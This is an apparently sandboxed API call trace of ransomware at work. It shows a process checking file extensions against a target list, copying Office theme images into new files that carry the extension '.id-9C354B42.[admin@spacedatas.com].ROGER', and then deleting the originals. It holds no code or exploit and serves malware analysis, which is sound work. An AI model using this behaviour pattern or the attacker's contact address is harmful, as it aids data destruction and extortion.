(lpString=".doc") returned 4 [0048.377] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.377] lstrlenW (lpString=".docx") returned 5 [0048.377] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.377] lstrlenW (lpString=".pdf") returned 4 [0048.377] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.377] lstrlenW (lpString=".xls") returned 4 [0048.377] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.377] lstrlenW (lpString=".xlsx") returned 5 [0048.377] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.377] lstrlenW (lpString=".ppt") returned 4 [0048.377] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.377] lstrlenW (lpString=".zip") returned 4 [0048.377] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.377] lstrlenW (lpString=".rar") returned 4 [0048.377] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.377] lstrlenW (lpString=".bz2") returned 4 [0048.378] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.378] lstrlenW (lpString=".7z") returned 3 [0048.378] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.378] lstrlenW (lpString=".dbf") returned 4 [0048.378] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.378] lstrlenW (lpString=".1cd") returned 4 [0048.378] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.378] lstrlenW (lpString=".jpg") returned 4 [0048.378] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.378] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.378] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.378] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=19485) returned 1 [0048.378] CloseHandle (hObject=0x390) returned 1 [0048.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0048.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.379] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.379] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.379] GetLastError () returned 0x0 [0048.379] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0048.381] WriteFile (in: hFile=0x340, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0048.382] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.382] WriteFile (in: hFile=0x340, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.382] SetEndOfFile (hFile=0x340) returned 1 [0048.382] CloseHandle (hObject=0x340) returned 1 [0048.382] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.382] SetEndOfFile (hFile=0x390) returned 1 [0048.383] CloseHandle (hObject=0x390) returned 1 [0048.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.383] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0048.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.384] lstrlenW (lpString=".doc") returned 4 [0048.384] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.384] lstrlenW (lpString=".docx") returned 5 [0048.384] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.384] lstrlenW (lpString=".pdf") returned 4 [0048.384] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.384] lstrlenW (lpString=".xls") returned 4 [0048.384] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.384] lstrlenW (lpString=".xlsx") returned 5 [0048.384] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.384] lstrlenW (lpString=".ppt") returned 4 [0048.384] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.384] lstrlenW (lpString=".zip") returned 4 [0048.384] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.384] lstrlenW (lpString=".rar") returned 4 [0048.384] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.384] lstrlenW (lpString=".bz2") returned 4 [0048.384] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.384] lstrlenW (lpString=".7z") returned 3 [0048.384] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.384] lstrlenW (lpString=".dbf") returned 4 [0048.384] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.385] lstrlenW (lpString=".1cd") returned 4 [0048.385] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.385] lstrlenW (lpString=".jpg") returned 4 [0048.385] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.385] lstrlenW (lpString=".doc") returned 4 [0048.385] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.385] lstrlenW (lpString=".docx") returned 5 [0048.385] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.385] lstrlenW (lpString=".pdf") returned 4 [0048.385] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.385] lstrlenW (lpString=".xls") returned 4 [0048.385] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.385] lstrlenW (lpString=".xlsx") returned 5 [0048.385] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.385] lstrlenW (lpString=".ppt") returned 4 [0048.385] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.385] lstrlenW (lpString=".zip") returned 4 [0048.385] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.385] lstrlenW (lpString=".rar") returned 4 [0048.385] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.385] lstrlenW (lpString=".bz2") returned 4 [0048.385] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.385] lstrlenW (lpString=".7z") returned 3 [0048.385] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.385] lstrlenW (lpString=".dbf") returned 4 [0048.386] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.386] lstrlenW (lpString=".1cd") returned 4 [0048.386] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0048.386] lstrlenW (lpString=".jpg") returned 4 [0048.386] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.386] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.386] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.386] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1232) returned 1 [0048.386] CloseHandle (hObject=0x390) returned 1 [0048.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0048.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.387] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.387] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.388] GetLastError () returned 0x0 [0048.388] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0048.390] WriteFile (in: hFile=0x340, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0048.391] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.391] WriteFile (in: hFile=0x340, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.391] SetEndOfFile (hFile=0x340) returned 1 [0048.391] CloseHandle (hObject=0x340) returned 1 [0048.391] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.391] SetEndOfFile (hFile=0x390) returned 1 [0048.392] CloseHandle (hObject=0x390) returned 1 [0048.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.392] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0048.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.392] lstrlenW (lpString=".doc") returned 4 [0048.392] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.392] lstrlenW (lpString=".docx") returned 5 [0048.392] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.392] lstrlenW (lpString=".pdf") returned 4 [0048.392] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.393] lstrlenW (lpString=".xls") returned 4 [0048.393] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.393] lstrlenW (lpString=".xlsx") returned 5 [0048.393] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.393] lstrlenW (lpString=".ppt") returned 4 [0048.393] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.393] lstrlenW (lpString=".zip") returned 4 [0048.393] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.393] lstrlenW (lpString=".rar") returned 4 [0048.393] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.393] lstrlenW (lpString=".bz2") returned 4 [0048.393] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.393] lstrlenW (lpString=".7z") returned 3 [0048.393] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.393] lstrlenW (lpString=".dbf") returned 4 [0048.393] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.393] lstrlenW (lpString=".1cd") returned 4 [0048.393] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.393] lstrlenW (lpString=".jpg") returned 4 [0048.393] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.393] lstrlenW (lpString=".doc") returned 4 [0048.393] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.393] lstrlenW (lpString=".docx") returned 5 [0048.393] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.394] lstrlenW (lpString=".pdf") returned 4 [0048.394] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.394] lstrlenW (lpString=".xls") returned 4 [0048.394] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.394] lstrlenW (lpString=".xlsx") returned 5 [0048.394] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.394] lstrlenW (lpString=".ppt") returned 4 [0048.394] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.394] lstrlenW (lpString=".zip") returned 4 [0048.394] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.394] lstrlenW (lpString=".rar") returned 4 [0048.394] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.394] lstrlenW (lpString=".bz2") returned 4 [0048.394] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.394] lstrlenW (lpString=".7z") returned 3 [0048.394] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.394] lstrlenW (lpString=".dbf") returned 4 [0048.394] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.394] lstrlenW (lpString=".1cd") returned 4 [0048.394] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0048.394] lstrlenW (lpString=".jpg") returned 4 [0048.394] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.394] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.395] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.395] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=18413) returned 1 [0048.395] CloseHandle (hObject=0x390) returned 1 [0048.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0048.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.396] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.396] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0048.396] GetLastError () returned 0x0 [0048.396] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0048.398] WriteFile (in: hFile=0x340, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0048.399] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.399] WriteFile (in: hFile=0x340, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.399] SetEndOfFile (hFile=0x340) returned 1 [0048.399] CloseHandle (hObject=0x340) returned 1 [0048.399] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.399] SetEndOfFile (hFile=0x390) returned 1 [0048.400] CloseHandle (hObject=0x390) returned 1 [0048.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.400] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0048.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.400] lstrlenW (lpString=".doc") returned 4 [0048.401] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.401] lstrlenW (lpString=".docx") returned 5 [0048.401] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.401] lstrlenW (lpString=".pdf") returned 4 [0048.401] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.401] lstrlenW (lpString=".xls") returned 4 [0048.401] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.401] lstrlenW (lpString=".xlsx") returned 5 [0048.401] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.401] lstrlenW (lpString=".ppt") returned 4 [0048.401] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.401] lstrlenW (lpString=".zip") returned 4 [0048.401] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.401] lstrlenW (lpString=".rar") returned 4 [0048.401] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.401] lstrlenW (lpString=".bz2") returned 4 [0048.401] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.401] lstrlenW (lpString=".7z") returned 3 [0048.401] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.401] lstrlenW (lpString=".dbf") returned 4 [0048.401] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.401] lstrlenW (lpString=".1cd") returned 4 [0048.401] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.401] lstrlenW (lpString=".jpg") returned 4 [0048.401] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 